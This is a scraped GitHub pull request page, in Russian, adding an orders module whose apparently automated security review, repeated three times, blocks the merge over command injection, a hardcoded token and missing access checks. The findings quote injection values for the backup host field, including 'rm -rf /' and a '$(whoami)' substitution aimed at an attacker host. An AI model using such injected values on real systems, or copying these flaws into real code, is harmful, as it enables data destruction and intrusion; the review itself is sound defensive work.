Эндпоинт GET /orders/{id} — получение заказа по ID
Эндпоинт POST /orders/{id} — изменение суммы заказа
Эндпоинт POST /admin/backup — создание бэкапа на указанный хост через rsync
Заказы хранятся в памяти (словарь orders).
Добавлен модуль orders.py для учёта заказов:
- Эндпоинт GET /orders/{id} — получение заказа по ID
- Эндпоинт POST /orders/{id} — изменение суммы заказа
- Эндпоинт POST /admin/backup — создание бэкапа на указанный хост через rsync
Заказы хранятся в памяти (словарь orders).
CRITICAL (1.00) orders.py:70 — Небезопасное использование пользовательского ввода в subprocess.run
сценарий: Атакующий отправляет POST-запрос на /admin/backup с payload в поле host, например: host = "example.com; rm -rf /" или host = "example.com$(whoami).attacker.com" (если rsync интерпретирует host как URL). Так как строка разбивается в список аргументов, более реалистичный вектор — ввод с пробелами и спецсимволами, которые интерпретируются оболочкой при запуске через shell, либо использование pipe/sleep, либо ввод в формате, который вызывает поведение rsync, приводящее к RCE (например, уязвимости rsync, либо выполнение shell через опции командной строки). Наиболее вероятный сценарий — использование команды rsync с опциями, распознаваемыми как отдельные аргументы, или применение инъекции, если rsync сам по себе интерпретирует host-строку как URL с встроенными командами.
HIGH (1.00) orders.py:15 — Жёстко закодированный токен GitHub в исходном коде
сценарий: Потенциальный атакующий сканирует GitHub или делает git clone репозитория и находит токен. Даже если это фейковый токен, наличие таких 'дамми' токенов часто указывает на плохие практики управления секретами.
HIGH (1.00) orders.py:41 — Открытый доступ к административному endpoint /admin/backup без аутентификации
сценарий: Анонимный атакующий отправляет POST /admin/backup с вредоносным host.
MEDIUM (1.00) orders.py:32 — Отсутствие проверки прав доступа к заказам
сценарий: Пользователь отправляет GET /orders/123 и получает данные чужого заказа, либо POST /orders/123 с amount=999999 и переназначает чужой заказ.
Полный список: security-analysis/findings/pr-9/1787499027-review.json
🔴Merge заблокирован — есть находки выше порога security-analysis/policy.yml.
## AI Security Review (Level 1)
- **CRITICAL**: 1
- **HIGH**: 2
- **MEDIUM**: 1
**CRITICAL** (`1.00`) `orders.py:70` — Небезопасное использование пользовательского ввода в subprocess.run
сценарий: Атакующий отправляет POST-запрос на /admin/backup с payload в поле host, например: host = "example.com; rm -rf /" или host = "example.com$(whoami).attacker.com" (если rsync интерпретирует host как URL). Так как строка разбивается в список аргументов, более реалистичный вектор — ввод с пробелами и спецсимволами, которые интерпретируются оболочкой при запуске через shell, либо использование pipe/sleep, либо ввод в формате, который вызывает поведение rsync, приводящее к RCE (например, уязвимости rsync, либо выполнение shell через опции командной строки). Наиболее вероятный сценарий — использование команды rsync с опциями, распознаваемыми как отдельные аргументы, или применение инъекции, если rsync сам по себе интерпретирует host-строку как URL с встроенными командами.
**HIGH** (`1.00`) `orders.py:15` — Жёстко закодированный токен GitHub в исходном коде
сценарий: Потенциальный атакующий сканирует GitHub или делает git clone репозитория и находит токен. Даже если это фейковый токен, наличие таких 'дамми' токенов часто указывает на плохие практики управления секретами.
**HIGH** (`1.00`) `orders.py:41` — Открытый доступ к административному endpoint /admin/backup без аутентификации
сценарий: Анонимный атакующий отправляет POST /admin/backup с вредоносным host.
**MEDIUM** (`1.00`) `orders.py:32` — Отсутствие проверки прав доступа к заказам
сценарий: Пользователь отправляет GET /orders/123 и получает данные чужого заказа, либо POST /orders/123 с amount=999999 и переназначает чужой заказ.
Полный список: `security-analysis/findings/pr-9/1787499027-review.json`
🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Добавлен модуль orders.py для учёта заказов:
Заказы хранятся в памяти (словарь orders).
Security scan (Level 0)
Находок нет.
Полный список:
security-analysis/findings/pr-9/1787498989.json✅ Порог не превышен.
AI Security Review (Level 1)
CRITICAL (
1.00)orders.py:70— Небезопасное использование пользовательского ввода в subprocess.runсценарий: Атакующий отправляет POST-запрос на /admin/backup с payload в поле host, например: host = "example.com; rm -rf /" или host = "example.com$(whoami).attacker.com" (если rsync интерпретирует host как URL). Так как строка разбивается в список аргументов, более реалистичный вектор — ввод с пробелами и спецсимволами, которые интерпретируются оболочкой при запуске через shell, либо использование pipe/sleep, либо ввод в формате, который вызывает поведение rsync, приводящее к RCE (например, уязвимости rsync, либо выполнение shell через опции командной строки). Наиболее вероятный сценарий — использование команды rsync с опциями, распознаваемыми как отдельные аргументы, или применение инъекции, если rsync сам по себе интерпретирует host-строку как URL с встроенными командами.
HIGH (
1.00)orders.py:15— Жёстко закодированный токен GitHub в исходном кодесценарий: Потенциальный атакующий сканирует GitHub или делает git clone репозитория и находит токен. Даже если это фейковый токен, наличие таких 'дамми' токенов часто указывает на плохие практики управления секретами.
HIGH (
1.00)orders.py:41— Открытый доступ к административному endpoint /admin/backup без аутентификациисценарий: Анонимный атакующий отправляет POST /admin/backup с вредоносным host.
MEDIUM (
1.00)orders.py:32— Отсутствие проверки прав доступа к заказамсценарий: Пользователь отправляет GET /orders/123 и получает данные чужого заказа, либо POST /orders/123 с amount=999999 и переназначает чужой заказ.
Полный список:
security-analysis/findings/pr-9/1787499027-review.json🔴 Merge заблокирован — есть находки выше порога
security-analysis/policy.yml.Pull request closed